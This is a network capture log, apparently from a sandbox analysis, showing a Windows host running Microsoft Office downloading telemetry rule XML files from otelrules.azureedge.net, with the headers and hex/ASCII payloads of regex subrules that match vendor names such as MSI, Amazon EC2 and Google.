2024-11-25 02:40:50 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:50 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 6056d4b9-d01e-002b-71bf-3e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024050Z-178bfbc474b9xljthC1NYCtw9400000006s000000000ay60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:50 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:50 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:50 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:50 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024050Z-178bfbc474b9fdhphC1NYCac0n00000006ug0000000060t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:50 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:50 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024050Z-174c587ffdf9xbcchC1TEBxkz4000000053g00000000mgfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:50 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:51 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 527e1194-e01e-0071-7e41-3e08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024051Z-15b8b599d889fz52hC1TEB59as000000057g00000000feq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:51 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:50 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:51 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bdb50d09-801e-0048-2c0e-3ef3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024051Z-178bfbc474bwlrhlhC1NYCy3kg00000006v000000000ax8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:51 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:52 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:52 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024052Z-174c587ffdf8lw6dhC1TEBkgs8000000058g00000000h62d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:52 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:52 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:52 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024052Z-178bfbc474brk967hC1NYCfu6000000006m000000000fkm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:52 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:52 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8a9c0054-c01e-0046-231b-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024052Z-178bfbc474bw8bwphC1NYC38b400000006q000000000989m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:53 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:52 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:53 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024053Z-174c587ffdfcb7qhhC1TEB3x7000000005eg0000000055dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:53 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:53 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024053Z-178bfbc474bnwsh4hC1NYC2ubs00000006wg00000000c7sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:54 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:55 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:54 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0aa534f7-c01e-0014-501a-3ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024054Z-178bfbc474bxkclvhC1NYC69g400000006tg000000009ger x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:55 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:54 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:54 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024054Z-174c587ffdfl22mzhC1TEBk40c00000005h000000000697c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:55 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49904	13.107.246.63	443

